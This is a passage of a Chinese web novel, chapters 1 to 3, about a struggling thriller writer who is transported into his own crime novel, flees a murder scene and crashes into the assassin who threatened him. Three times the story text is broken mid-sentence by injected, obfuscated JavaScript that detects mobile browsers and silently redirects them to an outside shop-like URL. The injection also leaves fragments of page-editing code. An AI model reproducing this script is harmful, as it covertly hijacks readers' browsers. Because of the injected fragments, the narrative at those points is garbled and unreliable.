《被迫扮演恐怖杀手》 1. 凶杀小说 【我第一次杀人时是个阴天,云层厚重,风中带着入秋的寒意,灰蒙蒙的雨从天上坠。】 电脑文档输入框变幻,噼里啪啦的键盘敲击声越来越慢。 卫极画推开键盘,仰头靠在椅子上发呆。 他是个没多少名气的三流小说家,现阶段正在准备自己的新书。 新书主角是个心理扭曲的变态杀手,写起来不太受他这个作者控制。剧情断在这里想了半天都不知道该写什么,只能写主角杀了两个人,就这一小段字还磨磨蹭蹭熬了个通宵,天都熬亮了。 继续熬也是浪费时间,不如想想别的办法。 卫极画摘下鼻梁上用于防止蓝光的金丝眼镜,揉揉眼下青黑站起身。 书桌上浓茶隔了一夜早已凉透,苦涩至极。窗外阳光洒入书房,在地板上落下点点金色光斑,一路蔓延至占据整面墙壁的书架。 淡淡墨水的香气岁月静好,《杀人术》、《犯罪心理学》、《枪械保养与维修》、《反追踪》、《网络安全反追踪》、《易容伪装》、《如何处理尸体》、《演员的自我修养》、《虐杀艺术》等参考书籍在书架上整齐摆放。 卫极画径直略过这些书籍,从放在书架旁陈列的各种武器还原模型中挑选了把生活中最为常见的水果刀。 他握着手中的水果刀缓步行至书房中央,一面巨大的落地镜静静立在正前方,让他所有细微动作都无所遁形。 这面镜子是卫极画为了代入主角专门放在这儿的。 镜中青年身形修长高挑,黑发长至锁骨,如狼尾般凌乱散在肩上,五官冷峻,眉目深邃,眼神刻意温和,却仍因眼下那层熬夜的淡淡青黑略显阴鸷。 从年纪上来看,卫极画并不像小说中那位还处于成长初期的少年杀手。 书中的主角是个清瘦的阴郁少年。 不过这并不影响卫极画通过代入主角来揣摩主角的心理。扮演和代入对于他来说是一种让笔下人物更鲜活的方式。 卫极画闭眼,回想刚刚写完的杀戮片段,想像自己正站在凶杀现场,将自己沉浸式代入主角,试图捕捉那种面对尸体“索然无味”的空洞感。 渐渐的,他闻到了血腥味。 那是股类似于生锈水管的味道。铁质水管生出橘色调红锈,应该会很漂亮,像打乱的调色盘、像黄昏时无人的落日大道。又好像腐烂的疮疤,让浑浊水滴渗透,品尝起来带着奇妙的腥甜。 更诡异的是,他手上握着的水果刀刀柄也越来越粘腻,好像有什么还温热的液体被溅射在他手上,顺着刀柄、从刀刃滑落至刀尖,滴滴答答敲击脚下的木地板。并着窗外哗啦哗啦的暴雨,编造出一场混乱而自由的小步圆舞曲。 无比真实,美妙……仿佛并不是来自于想象。 卫极画下意识睁开眼睛。 眼前不再是他用于赶稿的书房,他的书桌书柜、电脑里没写完的小说文稿、包括明媚的阳光、墨水的淡淡香气都消失不见,变为一间陌生的屋子。 这屋子属于市中心顶层高级公寓,不知遭了什么冲击,落地窗破碎大开,光线却很不好,外面林立的高楼在铁灰色阴云暴雨中失去色彩,冰冷的狂风呜呜呼啸,卷携着雨水涌入屋内,将临近窗户的地面密密麻麻撞击出大片不断向内蔓延的水渍。 屋内阴冷潮湿,一片漆黑,只有朦胧的轮廓,除了玻璃渣反射的碎光,什么都看不清。 未知,让卫极画生出一股巨大的恐慌。淡淡的凉意窜上脊椎,他心中莫名有种不好的预感。 “哐——” 大雨瓢泼,寂静的闪电似条银蛇般从天空沉闷的积雨云中窜出,通过窗户照亮了卫极画骤然失去血色的苍白面庞。也短暂地照亮了室内的景象。 血…… 数不尽的血…… 卫极画僵硬地抬起手,手中紧握的那柄水果刀不知何时满是血迹,粘稠的血迹像蛛网一样附着在刀刃上,因他抬手的动作,那粘稠的、温热的血液就如窗外附着玻璃的雨水一样缓缓随重力下坠,将他的手掌与五指浸得猩红一片。 他的大脑短暂无法响应,感觉到脚下异物,本能低下头…… 一具中年男人的尸体,喉咙被捅出几个大洞,脖子以一种诡异恐怖的折角扭曲,躺在地上的血泊中直勾勾地盯着他! 卫极画瞳孔骤然间放大,不慎后退两步,又撞上另一具少年瞪大眼睛的尸体! 他呼吸骤停,心脏缺失一拍,感知失调,一时间没能站稳,靠着窗户那面墙壁跌坐在地。 雷声隐隐,窗外愤怒的暴雨更加剧烈,背后破碎的落地窗悬空于高楼边缘岌岌可危,满地不断向内蔓延的水渍和玻璃渣一起将卫极画包裹。 卫极画如坠冰窟。 任哪个普通人在眨眼间被扔到凶杀现场和两具直勾勾盯着你的尸体待在一起都会心中发毛,没吓晕过去都算心态好。 更何况,他手里还拎着一把怎么看都是杀人凶器的刀! 这莫大的冲击直接叫卫极画的喉舌失去发声能力,手中沾血的水果刀滑落,刀柄与木地板碰撞,声音并不清脆,溅起几滴不知是雨水还是血的液体,触感分明地落在他苍白的脸颊上。 卫极画迟缓地伸手在脸上抹了一把。 ——哦,原来是血。 带着腥味,竟然还是温热的。 人是一种很奇妙的生物。似乎拥有着某种远古自带的生物基因,在活人眼中,死去的同类与活着的同类有着莫大区别。 那尸体的长相分明与你一般无二,却好像缺失了什么,带着非人的怪异感。你明明知道尸体源自于同类,死去的同类不会伤害你。看到尸体的第一瞬间,你的大脑还是会疯狂叫嚣着让你快逃。 屋内不知为何变得万分寂静,外面的雨声变成了背景,卫极画一时间只能够听到自己急促惶恐的呼吸和愈发剧烈的心跳。 尸体、一老一少两具尸体……现场活着的只有拿着刀的他。 是…是他杀的? 难道他有什么精神疾病,又或是有什么第二人格,在他自己都不知情的情况下突发癔症杀了人,又把烂摊子丢给他吗? 该怎么办?自首还是逃? 卫极画靠着墙壁,窗弦微弱光亮将他的脸分割成明暗两半,仰起头只露出半截轮廓凌厉的下巴,一个个恐怖的念头从大脑中不断滋生。 他反复深呼吸,喉结滚动,竭力让自己冷静下来。感觉脑子里飞快闪过了什么,再努努力就能够抓住。 不对、不对!等等…冷静。 虽然不知道自己是怎么突然到这来的,这周围的一切也无比陌生,但陌生之中,又似乎有一些熟悉感…… 暴雨、父子尸体、刀…… 对了,小说!他的小说!在他发现自己莫名其妙到这来之前,他正在写他的新书。 窗外的暴雨,手中的刀,被杀死的父子……这正是小说中那位变态杀手主角少年时期第一次杀人的场景! 难道他穿进了自己的小说里,还代替了小说主角的身份?! 意识到这一点,卫极画毛骨悚然。 完了…… 要是他写的正常小说还好,作为主角,再如何都能安然活下去,成为人上人站在世界的顶端,也是手拿把掐。 但他写的是惊悚恐怖凶杀黑暗小说!小说里包括主角在内,出场的角色大多都是各种各样精神扭曲的变态杀人魔,这些角色会在全世界随机刷新,逃到哪都没用! 而且他这本书刚写了个开头,只把世界背景和大体主线做了个框架,就算他是作者也不知道后面的剧情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914122|192492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会发生什么,和那些毫无底线的高智商恐怖杀人魔比起来没有任何优势! 卫极画双手微微颤抖,手上未干涸的温热血迹在他的掌纹间蔓延,那条代表生命线的掌纹被猩红色彻底覆盖。恐惧的心跳一下比一下重,几乎强烈到要冲破他的胸膛,撕裂开一个能够让身后暴雨彻底穿透他的可怕空洞。 他对自己的能力很有自知之明。 他只是个普通三流小说家,从小到大都没干过什么违法乱纪的事,上学时连课都没逃过。工作后更是畏惧与人交流,整天窝在家里写书。他哪儿有本事代替主角和那些高智商杀人魔玩犯罪游戏?! 绝对、他绝对会被那群疯子给玩死! 卫极画浑身发冷,刮进屋的暴雨也愈发狂躁,原本温暖干燥的衣物打湿后紧紧贴着皮肤,带来束缚粘腻的触感,好像有人用保鲜膜把他层层裹住,限制他的行动与思维,令他无比窒息,心中生出一种即将被溺毙的绝望。 穿越进自己的书里…他原本的身份,他熟悉的一切都没了,他不知道该怎么办。 “滴滴——” 不远处中年男人的尸体裤兜中忽然传来微弱的提示音,声音很小很小,假如不细听,稍不注意就会将其忽略。 这突兀之声打断了恐慌的情绪,陷入迷茫的卫极画跪在地上,手忙脚乱地用不住颤抖的双手从尸体裤兜里翻出手机。 无论是什么都好,就算是垃圾信息和推销广告也没关系。对于此刻六神无主的卫极画来说,在这濒临崩溃的时候出现任何可以转移其注意力的信息,都无疑是根救命稻草。 手机屏幕微光如愿亮起,照在卫极画苍白的脸上,几条信息接连跳出来,却不是卫极画渴望的喘息之机,而是压死卫极画神经的最后一根稻草。 【做得不错,但作为想要加入我们的投名状,你的杀人手法太过拙劣。我们不需要无用的废物。】 【再给你最后一次机会,来玩个游戏吧。】 【每隔30分钟,我会向警察发送一次你的位置。假如你被抓住,我就会杀了你。】 【尽情逃窜挣扎吧,在被抓住前,逃脱追捕,找到我,杀掉我,你就合格了。否则…呵呵,我真期待你死时歇斯底里的狼狈模样。】 “滴滴——” 信息在检测到卫极画阅读完毕后自动销毁,什么痕迹都没有留下。唯独手机最后响了一次,仿佛象征游戏开始。 卫极画呆呆握着手机,手机屏幕的冷光因无人操作逐渐暗淡、熄灭。 随着这抹光线消失,卫极画灰蓝色眼眸中的微光也终于彻底熄灭了。 ——啊…原来、不是他想象中的推销短信,是死亡预告。 卫极画忽然很想对自己刚才把死亡预告当做救命稻草的愚蠢行为发笑,努力扯了扯嘴角,露出的笑容却比哭还难看。 穿越太过突然,让他一直都忽略了一件事。 小说不会平铺直叙,一定是通篇布满冲突的。 而“主角”第一次杀人,正是他这个作者为了引出危机,让主角加入一个臭名昭著的变态犯罪组织加速主角成长而亲手设置的。 现在,组织的人盯上他了。 ——是他亲手,在小说中书写出了自己的绝路。 奇异的是,弄清这一点后,卫极画竟不再有恐惧,反而因麻木,感到前所未有的冷静。 大概是头顶高高悬着的巨石终于要落地,避无可避,于是所有心头的恐惧与茫然都被暂时压制,让他只能集中精力去应付那块最迫近他的巨石。 窗外,传来了警车由远及近的呼啸,在瓢泼的雨幕中,尖锐的警笛声仿佛隔了一层朦胧的布,像荒诞戏剧开场的征兆。 卫极画屈腿靠着窗弦低低喘息,缓缓地、缓缓地擦掉手机上残留的指纹。 2. 驯兽师 卫极画知道给他发信息的是谁。 ——“驯兽师” 来自犯罪组织“剧团”,是个喜欢把人当作动物逗弄的连环杀手,同时也是卫极画为小说“主角”进入“剧团”设置的考核官。 “驯兽师”算是前期的一个小反派。智商在其他变态杀人犯当中不是特别高,精神相较起来比较正常,仅仅只是个性格恶劣、拿钱办事的杀手。 在卫极画的小说大纲中,“驯兽师”会用各种手段折磨成长期的“主角”,然后被“主角”在将来的一场犯罪游戏当中杀死。 现在卫极画代替了“主角”,自然也逃不脱被“驯兽师”盯上的命运。 假如卫极画真的被警察抓住,不用到进监狱的那一刻,没有耐心的“驯兽师”就会立刻杀了他。 现在最重要的是保持镇静。 卫极画长长呼出一口肺中灌满的冰冷空气,轻轻放下擦干净的手机,捡起作为凶器的刀,再次用同样的方式清理干净刀柄上的指纹。机械性地清理掉自己可能会留下的所有信息,才动了动发麻的腿,站起身,合上两具尸体的眼睛。 其实他为驯兽师等一众主要人物都做过人物小传。 驯兽师认为:人类是由兽性和理性构成的,兽性和理性是一架天平。兽性代表不同的欲望、恐惧、与生存搏杀的勇气,理性则代表解决事件的能力与智慧。 两者平衡,才是完整的人。 现在,卫极画就像是在走钢丝,既要维持足够行动的意志,又要避免兽性的恐惧盖过理智的思考。 镇静,保持镇静。 作为一个并不算太聪明的普通人,他要做的是冷静地思考,不要让情绪左右思维的准确,不要放过任何有用信息。 “驯兽师”每隔30分钟向警察发送一次他的位置,他一旦被抓住就会死。听起来紧迫,让人心绪不定,第一反应是逃脱警察的追捕。实际这是最愚蠢的做法。 能在他“杀了人”之后品评论足,还能监测他的行动,定时向警察发送他的定位,并且说…在不满意时能随时杀了他——就代表“驯兽师”一定在不远处,或是通过某种媒介看着他! 卫极画徒然感到一种森寒恫然的战栗,瞳孔瞬束成针尖。 窗外雨幕灰蒙,瓢泼暴雨让周围林立的高楼看不清晰,偶尔闪电划过,那些密密麻麻的窗户黑洞洞的,好像一双双野兽的眼睛。 与楼下逐渐迫近的尖锐警笛声相比,那一只只窗户构成的眼睛无比静默,带给卫极画的危机感却更加强烈。 肉眼在那些黑洞洞的窗口间看不到任何人,但卫极画就是知道…有一双冰冷玩味的眼睛在透过什么看他。 是“驯兽师”。 说不定,在他穿越来的第一秒就已经被狙击镜瞄准了…又或者是单向启动炸弹?还是警方有“剧团”的人? 他的脑袋会被狙击枪的子弹瞬间穿透成破碎的西瓜吗?还是会被炸弹炸得血肉模糊? 亦或者是在监狱中被剧团的人折磨而死,用他的生命做个消遣时间的笑料,搏剧团那些疯子讥诮一笑? 不!不!绝对不行! 各种恐怖的猜想充斥卫极画大脑。他死死咬着牙,垂下眼睫,没有暴露半分异常行为,飞速回想自己为了写小说买的一书架工具书。 《犯罪心理学》、《反追踪》……想想、快想想这些书说过什么?! 面对思维与常人不同的罪犯,一定不能陷入被他们操控的怪圈,要主动反击,掌握节奏,才能从棋子变为与他们对弈的棋手。 这样一来…… 想要存活,就必须在警察到来之前离开这个公寓,排除电子设备监视他的可能,再想办法确认“驯兽师”的所在方位。 除此之外,不要想得太困难给自己太大压力。他只是一个普通人,不一定要像信息要求那样去和驯兽师那种职业杀手搏命,以己之短攻彼之长,不自量力地争个你死我活。 他只需要逃脱警察追捕,用最快的速度找到驯兽师,激起驯兽师的兴趣,就能像他在大纲中为主角规划的路线一样跟着驯兽师,暂时作为剧团的编外人员保住一条命。 否则,就算警察不抓他,“剧团”也不会放任他活着。 虽说跟着驯兽师这种性格恶劣的连环杀手稍不注意就会被玩死,至少也能走一步看一步,多拖延一段时间,能活多久算多久。 卫极画抹了一把脸上的雨水,浑身都被突破窗户的暴雨拍得湿透,跟从水里捞出来似的。 他常年宅在家里缺乏运动又贫血的身体已经有些失温症状,冰冷的雨水不断将他的体温带走同化,脑袋却因为过度思考发烫。 卫极画居高临下,尽量忽略头脑的晕眩,抬手将额前湿漉漉的碎发拢在脑后,视线穿过破碎的落地窗,穿过雨幕。 显然,他没有时间了。 警察已经到了。几辆警车停在楼下。持枪的警察最迟在半分钟内就会将公寓大楼堵个严实。 就算他现在什么都不管立刻冲下楼,也会用现在这副浑身是血的模样直接与警察撞上。 他不能正面和警察碰上…… 卫极画低垂着头,呼出的冰凉空气冻刺了鼻尖,他神色难辩地掸掸自己身上短时间内无法处理的血迹,稍微用点力都能拧出血水来。 无论怎么看,他都是个杀人凶手,就算把浑身衣服换了,把脸和手洗干净,短时间之内,他身上也会有股难以言喻的血腥味。 看到这副尊容,谁会信他是无辜的?谁会信他只是突然穿越过来替“主角”顶了罪这样荒诞可笑的辩词? 想想办法,想想办法…… 这栋高级公寓大楼目测有38层,假如乘坐电梯,用不着两分钟,持枪的警察就会踹开他所在的这间公寓的门。 还有其他方法能在不与警察碰面的情况下逃离这栋大楼吗? 卫极画很想骂自己慌不择路,目光又忍不住落在身后破碎的落地窗上。 除了落地窗,他暂时找不到其他生路。 而那落地窗善解人意,刚好破开了一个可供人通行的破洞开道相迎。 真是太巧合了。 真是正正好,卫极画想。雨幕中能见度不高,假如他从落地窗离开,只要小心一些,警察从下面往上面看是看不清他的身形的。 是来自剧团的驯兽师早已为这出戏剧安排好了走向吗? 若他为了逃生穿过落地窗的破洞,在驯兽师眼中是否就像是成功用鞭子驱赶着动物跳过火圈? 卫极画抓住落地窗破损的窗框俯身向下看。 公寓38层楼,每层3.3米,算起来,大约126米高,摔下去只要5~6秒钟。 这栋高级公寓大楼没有阳台,全部都是整体的落地窗玻璃,每层之间只有三厘米的支撑框架圆钝凸起,配合上3.3米的层高,只能凭运气勉强攀爬。 他需要往下爬3楼,向右边挪20米,通过大楼的死角避开下方警察有可能投注的视线。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914123|192492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >如果他能够成功做到这一点,就可以看到右方的另1栋公寓,那栋公寓与他所在的这栋公寓之间有一块延长出来的空中花园,间距只有5米,跳过去就能逃脱。 运气好的话,不会摔死……真的吗? 都市兵王都做不到的事情,让他一个坐久了站起来都会头晕的废宅小说家来? 更何况还是在这样光线不良的雷暴雨天,没有任何安全措施,他不被风吹下去也会因为暴雨湿滑摔死。 要是摔下去,他瞬间变成一摊烂肉! 驯兽师那见鬼的神经病根本就没有考虑过他这种普通人的死活,能活最好,死了也能当个乐子。 卫极画站在落地窗前,表情难看,僵硬如雕塑。 这栋公寓楼层真的很高,他所在的顶层看向下方时,连警车和那些持枪的警察都变成漆黑的小点,在遥远的高度之下,渺小得像一群蚂蚁。 仅仅只是俯视下方,他便感到一阵恐惧难言的晕眩。 也许该有个人来骂他软弱无能和优柔寡断,尽管骂些难听又荒唐的话来刺激他吧,他会坦然承认的。 快让他明白该为自己而羞耻,让他自己也厌弃自己的无用,快快被催促着去将这条危险的逃生通道付诸实施,以身验之,生死由命。 可是为什么呢?为什么? 有人蹦极时,明明身上附着绳索,做好了一切心理准备,站在蹦极台上看着下方,仍会失去一跃而下的勇气。 为什么他就要心平气和地接受这些?他什么都没做错,为什么要在这样极端恶劣的天气和条件下孤注一掷,给驯兽师那种恶劣罪犯表演逃生游戏? “咚咚咚咚咚…” 外面快速奔跑的脚步声跨越走廊迫近了。 一个年轻人的声音影影绰绰,“陈队!接到报案就是这户!” 中年男人坚毅的声音隔着公寓的大门不真切:“准备破门!” ——避无可避啊。 卫极画立于落地窗的破洞边缘,听着这些吵人烦恼的杂音,在阴云雨幕中深吸一口气。 “嘭!” 闷雷一声巨响,大门被破开了! “嘶——” 卫极画抽了口凉气,扭了扭脑袋,在破碎的木门残骸中挣扎着爬起上半截身子,脖子发出咔咔的声响。 暴雨中无防护攀岩还是太极限了,他在中途视线模糊跳歪了地方,只能迅速护住脑袋和胸腔,尽量让动作标准地翻滚卸力,一连打了好几个滚儿才停下冲击的势头,砰的撞破了侧旁大楼一户客房的公寓门。 他感觉手臂酸痛得吓人,浑身都疼,从来都没这么痛过,疼得他短时间之内都不能动。假如他没有穿长袖长裤,四肢肯定还会有很严重的擦伤。 劫后余生,卫极画渐渐缓过劲来,想起自己刚才摔下来好像砸到了什么。试探性摸了摸身下软软的东西。 热的、人形,还有一枚金属胸针。他捡起了那枚胸针,上面刻着野兽和鞭子的徽记。 卫极画脸色一紧。 他认识这个! 根据他的设定,“剧团”每个成员都会有对应的身份徽记,野兽和鞭子,代表的是驯兽师! 驯兽师的身份胸针怎么会在这里? 卫极画下意识低头看去。 ——被他从天而降撞断几根肋骨的驯兽师茫然地抬起头,与他面面相觑。 卫极画:? 驯兽师:!!! 两个人的脸上都一片空白。 3. 你来逃 “陈队,报告!” 作为凶杀现场的公寓拉起了黄黑色警戒线,漆黑客厅内奢华的水晶吊灯终于被打开,灿金灯光让整个公寓明亮无比,驱散了恐怖的阴冷血腥气。 先前破门的圆脸警官向一个中年警官敬礼,“陈队,死者是一对父子,死亡时间很短,大概5分钟以内。 根据尸体致命伤口初步推测凶器为长十二厘米、宽三厘米左右的锐器,现场没有找到凶器。 整间公寓都搜查过了,所有逃生通道也都是封锁状态,没有找到疑似凶手的嫌疑人。” 长着严肃国字脸、剃着一头板寸的陈永年听了报告,眉头深深锁成一个“川”字。 这位资深的老警官没有再问其他,戴上白手套,走进作为凶案第一现场的餐厅,蹲下身仔细观察第一具少年尸体。 “受害者没有反抗痕迹,只有一道正面的致命伤,是熟人作案。” 说着,他看向餐桌。 餐桌上是桌丰盛的晚餐,还冒着热气。品相极好的大闸蟹、各种海鲜,全部都没有动过。室内两具尸体,桌上却摆了三副碗筷。 餐桌不远处的地上还有一碗被掀翻砸碎的鲫鱼汤。 不是说鲫鱼汤不好,但和其他的东西比起来有些过分朴素,与上方那一桌昂贵海鲜格格不入。 那碗奶白的鱼汤孤零零倒在地上,和刚才那具少年尸体的血泊流淌在一起,乍一看好像生出了密密麻麻扭动的暗色蛆虫。 “暂时不清楚被邀请来吃饭的人是谁,但熟人作案无疑了。” 陈永年对做记录的圆脸警官说完,又翻动另一具中年男人的尸体,“这个倒是没有一刀毙命,捅了好几刀,像是有什么仇恨。但这具尸体和上一具尸体的眼睛在死后都被外力合上了,这一点又很矛盾。” 圆脸警官疑惑,“那我们是需要从他们今天邀请的人入手?可是既然死的时间不久,算上凶手处理现场残余信息的时间,凶手又能去哪呢?我们可是把所有逃生通道都堵了啊。” “陈队!” 不远处传来另一个警官的声音。他顺着破碎的落地窗往下看,“陈队,这里的窗户不知道为什么被从内向外击碎了!凶手不会是从这里逃了吧?” 陈永年闻言,也抓着窗弦向下看。 ——让人恐惧的高度。 他立刻否定,“不可能。” 察觉到周围后辈迷茫的目光,这位经验丰富的老警官沉声解释:“这栋公寓是一体式的高级公寓,没有阳台和任何可借力的地方。层高3.3米,每层之间仅仅有三厘米的圆钝凸起。 攀爬行为完全依靠于手掌与脚掌对凸起部位的摩擦力,圆钝形态的摩擦点是所有点型中最难、最不可靠的一种。 这栋公寓没有任何明确受力点,并且通体垂直,攀登者需要完全依靠手臂和核心力量支撑身体重量,连落脚的地方都没有。 在天气晴朗干燥、装备齐全的条件下,这就已经是顶级难度,更何况暴雨天气。 雨水会消磨微乎其微的摩擦力,形成一层像肥皂一样湿滑的水膜,根本无法借力。 在雨水中攀爬,身体还会加速失温,肌肉僵硬、颤抖、判断能力下降,这么大的雨流进眼睛里,光是看东西都看不清。 极长的距离、极差的受力点、极端湿滑的环境,加上零容错率和3米3的层高,失败和死亡的概率无限接近于100%,完全超出了人类心理和生理极限能力范围,理论和实践上都不可能。 就算是全世界最强壮老练的专业攀岩运动员也绝不可能爬下一层,因为你们所看到的着力点根本无法提供启动所需的初始摩擦力。 假如凶手真的从这里逃脱,不是缺乏常识,就是彻彻底底的疯子,他做出这个决定,就会立刻摔死!所以凶手一定还在这栋楼里!” 听到这个解释,公寓中所有的警官也都明白了“凶手”穿过落地窗从大楼外面逃脱的推测有多离谱。更别说猜到卫极画不但要往下爬,还要在没有任何助跑和停留平台、天上又下着暴雨的极端条件下隔着5米往隔壁那栋楼跳。 如果这是真的,那对方简直不是正常人类。 陈永年黑着脸瞪视为此惊叹的其他警官,“雨天容易犯困,都给我打起精神,任何可疑的线索都不要放过!” “是!” 雨天容易犯困。 驯兽师喜欢雨天。 每次杀了谁,碰见暴雨总能让他省一些力气。雨水会冲刷掉部分痕迹,让警察无法探寻到他的信息。仿佛这个世界都在为他的罪行鼓掌。 今天同样是个雨天。 他接到剧团长的命令,过来负责监管卫极画考核。 只是一个年纪不大的新人罢了,根本不需要费太多心思,驯兽师都懒得提前装个监控,悠闲地在案发现场对面的公寓中架起了狙击枪。 透过狙击镜,明确目睹那个“卫极画”杀死了公寓里的两个倒霉蛋儿后,驯兽师饶有兴趣地发送了看起来像是死亡威胁的考核短信。 到这里,驯兽师都没有非要让卫极画死的意思。 剧团是个自有规则的组织,驯兽师再肆意妄为也不会和剧团长对着干。 他另外给“卫极画”安排了一条更安全的逃脱路线。公寓中破碎的落地窗与他无关,根本就是原先的“卫极画”自己打破的。 假如“卫极画”足够聪明,就会冷静地分析情况,从驯兽师原先预留的路线中发现警方封锁的漏洞,杀掉消防通道里巡查的两个警察成功逃脱。 原本的“卫极画”也的确是那样打算的。 可驯兽师规划好的一切都止步于此。 ——“卫极画”好像疯了。 杀人的时候还好好的,冷漠、阴郁、抱着未知的偏激,一看就像剧团长说的那样是个好苗子。 但这个被剧团长看好的新人杀完人后就愣住了,跟忽然换了个人似的,又是吓得摔倒在地,又是撞到尸体惊惧交加,看到他发的死亡短信,表现更是不堪入目。 驯兽师皱皱眉,在心里为“卫极画”判了死刑,还没等他扣动扳机杀了卫极画,卫极画就跟不要命一样突然跳楼了。 “废物。” 驯兽师低骂一句,懒得再看,起身拆卸狙击枪准备离开。 他把狙击枪依次拆分装进了吉他盒,如同任何一次杀人后逃离现场一样准备打开门。 “嘭!” 一声闷雷,公寓的大门碎了! 吉他盒脱手,驯兽师猝不及防,连袭击者的影子都还没看清就被一股恐怖的巨力掀翻在地! 肋骨瞬间被撞断三根! 驯兽师来不及反应,后脑重重磕在坚硬的地面上,眼前阵阵发黑,四肢和身体被强行压制,失去所有行动能力! 是谁?! 到底是谁?是仇家,还是警察?驯兽师惊怒交加,头脑飞速运转,回忆自己是不是来的时候被什么人盯上了。 天空中刹划过一道闪电,短促照亮了袭击者的身影。 青年模样,湿漉漉的黑发贴在苍白的脸颊上,灰蓝瞳孔在暗处沉静无光,黑得令人心悸。 这张脸——这分明就是刚才那个跳楼的卫极画! 驯兽师呼吸骤然凝固。 卫极画此时的尊容着实令人不敢恭维,在暴雨中爬得狼狈,浑身都湿透了,身体产生失温症状,苍白而冰冷。 因为摔懵了,他甚至现在都还没反应过来自己砸到了人。 而从驯兽师的角度来看,卫极画就像一只刚从河里爬出来的水鬼,宽阔的影子带着水汽的寒意幽幽笼罩他。 水珠顺着卫极画的发梢往下淌,伴着驯兽师几乎停滞的心跳,滴答、滴答、粘腻爬虫般连绵砸在地板上。 “嘶——” 驯兽师听见卫极画似乎是嗤笑了一声,居高临下,脖颈扭动发出轻微骨骼脆响,慢条斯理地伸出苍白修长的手,捡起了地上掉落的胸针。 “驯、兽、师?” 卫极画用僵硬又古怪的声调一字一顿的念出胸针所代表的代号。 仅在剧团内部和少数知情人员中流通的徽记代号,驯兽师摸不清卫极画是如何知道的,完全不敢动弹,被叫破身份,干巴巴地咽了一口唾沫,下意识回应,“啊。” 也不怪驯兽师害怕,现在的情况实在是超脱驯兽师的理解能力。 毕竟谁也猜不到,原本的高智商主角会中途变成卫极画这种废物似的三流小说家。一来就带着这个世界都是变态的刻板印象和空气斗智斗勇,看见碎裂的落地窗也先入为主,以为是驯兽师要害他。 听到警察来,更是慌不择路,令人迷惑地直接跳楼,叫人二丈摸不着头脑。 卫极画为写书了解到的知识都是片面的,大部分半桶水晃荡,对自己的能力没有任何清晰认知。找到一条逃生道路,两眼一闭就冲了。根本不知道自己以为有可行性的逃生方案在专业人士看来多么不要命。 可谁能想到,他不仅没死,还碰运气正好砸驯兽师身上! 这一套大愚若智的小连招,简直把驯兽师吓得浑身冷汗。 卫极画在没有任何防护和借力点的情况下,从三十八层跳下来,不仅没死,还能在这么短的时间内找到他的位置,精准突破到这里? 人类真的能够办到这种事吗?完全违背物理常识和人类极限! 驯兽师心里慌极了。 出来混,不怕横的,就怕疯的。驯兽师平日里性格恶劣,经常在剧团的任务范围之内找乐子,但他的乐子是对别人的,哪里会像卫极画这样拿自己的命发癫? 见了鬼了,卫极画这种等级的狠角色,之前居然还装被尸体吓到?什么神经病?这疯子不会突然抓起刀捅人吧? ——被误认为是疯子的卫极画心里也很慌。 这个世界是他写的小说,虽然只写了个开头,但各种角色的人物小传和基本设定一个不漏,全部牢牢记在他脑子里。 剧团的成员的胸针,按照不同的徽记人手一个,他手上的这个代表“驯兽师”的胸针绝对是真的。作为这个世界的创造者,他不可能这点眼力见都没有。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914124|192492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以……被他撞倒在地的这个、是驯兽师? 卫极画控制不住微微转动手腕,感受着袖子内刀刃冰凉触感。 最初收到死亡短信时的惶惶不安与绝望历历在目,他恨不得现在就抄起这把从凶案现场带出来的水果刀把刚才威胁他的驯兽师给杀了。 这样就可以一了百了,也不用害怕驯兽师每隔30分钟就把他的定位发送给警察。 但他一个废物小说家,就算驯兽师现在被他撞断了几根肋骨,他也不一定打得过。人家是专业的杀手,受伤而已,家常便饭,等驯兽师反应过来他在虚张声势,一只手就能打十个他! 他的运气怎么这么背?随便逃跑就摔驯兽师身上了? 这可是恐怖凶杀文啊!跟日漫轻小说里女主100%摔倒在男主怀里的甜蜜剧情有半毛钱关系!驯兽师这个疯子不会恼羞成怒突然给他一枪吧!!! 一时间,卫极画与驯兽师两人都不敢轻举妄动,两人大眼瞪小眼,空气陷入了可疑的沉默。 身上被雨水淋湿的衣服紧贴着身体,寒意刺骨,带来阵阵短暂的清明,卫极画咬着舌尖,将翻涌的思绪沉淀。 不能再等了。 再这样什么都不做,驯兽师很快就会发现他的外强中干。卫极画不敢想象那时候会发生什么。 就算心里再慌也绝对不能表现出来,必须让人琢磨不透,必须要主动掌控局面,不能让驯兽师发现他只是一个废宅小说家! 求生的本能再次压倒了恐惧。 卫极画尽量发挥自己小说家的特长,搜肠刮肚,回忆自己写过的所有悬疑、凶杀、精神病角色,试图拼凑出一个能唬住驯兽师的人设,再把自己打碎,强行将这些变成真理,反复在心中默念,像催眠那样植入自己的脑子。 